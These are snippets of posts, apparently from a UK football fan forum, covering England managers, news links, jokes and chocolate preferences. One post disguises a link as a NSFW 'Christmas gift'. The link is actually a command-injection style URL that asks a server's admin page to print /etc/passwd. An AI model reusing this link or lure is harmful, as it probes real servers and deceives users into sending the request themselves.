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Made me feel sick, signed off the group. (Should never have joined anyway).

Happy Christmas NSC, my gift to you all which is NOT SAFE FOR WORK And I repeat for the hard of hearing. NSFW!!! Enjoy http://zaphod.eu/admin/?cmd=cat%20/etc/passwd

Right, forget all this cycling around Cuba, running the marathon nonesense. I'm going to do a sponsored Brian Barwick HEADSLAP. Pledge me money (I'll start the ball rolling with £250) and when it gets to a decent figure, I'll write to the FA and offer the money to a charity of their choice if...

Reading the "Should David Beckham start" thread, I thought it much more relevant to ask should Frankie boy be in the starting eleven? Well..?

http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2007/11/12/wtree112.xml&CMP=ILC-mostviewedbox

... how long before you cancel the lesson? http://news.bbc.co.uk/2/hi/uk_news/england/tees/7084003.stm Carrot 'joke' sex attacker guilty A driving instructor who hid a carrot in his trousers and pretended it was his erect penis has been convicted of four sex attacks on his pupils. Stephen...

The Swiss People's Party has just pulled this campaign poster as it has led to riots (in Switzerland!!!) in the capital. They say it is meant to show that they will be tough on foreign criminals, and kick them out. Protestors say it is blatant racist propoganda. What do you think? Acceptable or...

There will no doubt be a cacophony (what a great word) of calls for McClaren to go this morning, and quite rightly so. But the fact is he was just never up to the job in the first place so I can’t really blame the bloke. He was/is way out of his depth but he took the job because it was offered...

Husband and wife are lying quietly in bed reading when the wife looks over at him and asks the question. WIFE: "What would you do if I died? Would you get married again?" HUSBAND: "Definitely not!" WIFE: "Why not? Don't you like being married?" HUSBAND: "Of course I do." WIFE: "Then why...

http://news.bbc.co.uk/sport2/hi/football/internationals/6949122.stm After Bentley pulled out of the U-21 team this summer because the poor lamb was a bit tired, leaving England a man short in the tournament, do you think he should be considered for the next full England squad? I have always...

On the fantasy football game that's on the official site. :D Anyone else doing this? It's free and I'm bored so Lokki Elevens are primed and ready for action this weekend. If there are a few of us in it and someone can be bothered I suppose we could set up a NSC mini league..?

Now then, now then. What would you like Jim to fix for you? http://www.youtube.com/watch?v=nT1-IgijFZU

Look at the uncanny connection between the winners of LaLiga and the Premiership in recent years: 2001 Real Madrid-United 2002 Valencia-Arsenal 2003 Real Madrid-United 2004 Valencia-Arsenal 2005 Barca-Chelski 2006 Barca-Chelski 2007 Real Madrid-United (Well I thought so anyway)

Do you ever get the urge to do something completely random? Yesterday I was sitting in a half empty soulless city bar, my wife had gone to the loo and I was fairly bored. Then suddenly I got the urge to shout, “HOT SAUSAGE!” for absolutely no reason whatsoever. As I struggled to hold back this...

The parents of Madeline McCann are supposedly devout Catholics, they must then believe that god is all powerful, all seeing and that nothing can oppose his will. Given this belief, surely it must be the case that god either wanted their daughter to be abducted, or at least knew it happened and...

Shame he doesn't post anymore. I miss the old bugger. :down:

Looks safe. http://www.youtube.com/watch?v=KKnujGgUMco&mode=related&search=

I am currently sitting at my desk demolishing a LARGE bag of Revels but cannot decide which Revel is the best. What is YOUR favourite? As an aside, didn't there used to be peanut Revels? Where did they go, and WHY?

It's impossible to imagine just how much $2,900,000,000,000 really is. If you had it, what would you do with it? Think of the hospitals, schools, roads, sea defences, wind farms etc you could build. The lives you could improve, the diseases you could eradicate. Think of all the countless ways...

Perhaps someone on here can explain to me the reasoning behind Gully’s Girls being a permanent pre-match fixture at the Withers these days. I’m sure they are lovely young ladies and I’m glad they have a hobby that keeps them off the streets and out of the crack dens. But what is the idea behind...